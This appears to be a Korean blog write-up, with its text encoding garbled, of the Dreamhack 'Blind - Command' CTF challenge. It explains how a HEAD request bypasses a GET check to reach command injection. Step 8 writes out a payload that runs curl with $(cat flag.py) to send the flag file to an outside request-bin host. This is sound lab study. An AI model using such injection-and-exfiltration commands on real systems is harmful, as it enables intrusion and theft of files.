5 - 1 - 2. Blind - Command ๋๋ฆผํต ๋ฌธ์ ํ์ด
# Blind - Command ๋๋ฆผํต ๋ฌธ์ ํ์ด
1. ๋ฌธ์ ์ ๋ณด ํ์ธ ํ ๋ฌธ์ ํ์ผ ๋ค์ด๋ก๋
2. ๋ฌธ์ ์ app.py ํ์ผ ์ฝ๋ ๋ถ์
+ << Line 7 ~ 17 >>
: ์ฌ์ฉํ ๋ฉ์๋๊ฐ GET ๋ฉ์๋๊ฐ ์๋ ๊ฒฝ์ฐ cmd ํ๋ผ๋ฏธํฐ๋ก ์ ๋ฌ๋ ๊ฐ์ ์์คํ ๋ช ๋ น์ด๋ก ์คํ
--> HEAD๋ OPTIONS ๋ฉ์๋๋ฅผ ์ฌ์ฉํ์ฌ ๋ฌธ์ ๋ฅผ ํด๊ฒฐํด์ผ ํจ
3. ์ ์ ๋งํฌ ํ์ธ ํ ์๋ด๋ URL๋ก ์ ์
4. ์๋จ์ url์ ?cmd=[cmd] ํ์์ ๋ง์ถ์ด ์กฐ์ ์๋
+ ์ ๋ ฅํ ๊ฐ(=wow)์ ๊ทธ๋๋ก ์ถ๋ ฅํ๋ ๊ฒ์ ํ์ธ
5. ๋๋ฆผํต ํด ์ฌ์ดํธ(https://tools.dreamhack.games/requestbin/vmgkpnu) ์ ์ ์ํ์ฌ Request Bin ๊ธฐ๋ฅ์ ์ฌ์ฉํ์ฌ flag ๊ฐ์ ์ ์ก๋ฐ์ ์์์ ๋งํฌ ์์ฑ
6. ๋ฒํ์ค์ํธ๋ฅผ ์ด๊ณ ์๋ด๋ ๋งํฌ์ธ http://host3.dreamhack.games:21503/ ์ผ๋ก ์ ์
+ ๋ฌธ์ ํ์ด๋ฅผ ์ฌ๋ฌ ๋ฒ ์๋ํ์ฌ ๋ฌธ์ ํด๊ฒฐ ์ ์๋ด ๋งํฌ์ ํฌ์คํ ์์ ๋งํฌ๊ฐ ์์ดํจ
+ ์ ๊ฒฝ์ฐ์๋ proxy ์๋ฒ๋ฅผ ์ฌ์ฉํ์ง ์๊ณ ์ ์
7. Proxy ํญ์ Request ๋์ ์ฝ๋๋ค์ Repeater ๋ก ์ ์ก ํ Send ๋ฒํผ ํด๋ฆญ
8. Request ๋์ ์ฝ๋๋ฅผ ์๋์ ๊ฐ์ด ์์ ํ Send ๋ฒํผ ํด๋ฆญ
+ HEAD /?cmd=
curl%20https://vmgkpnu.request.dreamhack.games%20-d%20%22$(cat%20flag.py)%22
--> ์ ์ก ๋ฐฉ์ : HEAD ๋ฉ์๋
--> ์ด์ฉ ๊ฐ : cmd ํ๋ผ๋ฏธํฐ ๊ฐ
--> ์ ์ก ๊ฐ: flag ๊ฐ
--> ์ ์ก ๋ชฉ์ ์ง๊ฐ ๋๋ ์ธ๋ถ ์๋ฒ : https://vmgkpnu.request.dreamhack.games
9. ๋ค์ Request Bin ํ์ด์ง๋ก ๋์์ ์ ์ก๋ ๋ฐ์ดํฐ ํ์ธ
+ ์๋ฒ์์ POST ๋ฐฉ์์ผ๋ก Flag์ ๊ฐ์ด ์ ์ก๋์์์ ํ์ธ
+ ๋ฌธ์ ํ์ด ์ฐธ๊ณ
'โ๏ธ Web Hacking > Dreamhack' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dreamhack] php-1 ๋๋ฆผํต ์๊ฒ์ ๋ฌธ์ ํ์ด (0) | 2022.11.08 |
---|---|
[Dreamhack] Proxy-1 ๋๋ฆผํต ์๊ฒ์ ๋ฌธ์ ํ์ด (0) | 2022.11.07 |
[Dreamhack] Web - SSRF ๋๋ฆผํต ์๊ฒ์ ๋ฌธ์ ํ์ด (0) | 2022.11.03 |
[Dreamhack] File Download - 1 ๋๋ฆผํต ์๊ฒ์ ๋ฌธ์ ํ์ด (0) | 2022.11.01 |
[Dreamhack] Image - Storage ๋๋ฆผํต ์๊ฒ์ ๋ฌธ์ ํ์ด (0) | 2022.11.01 |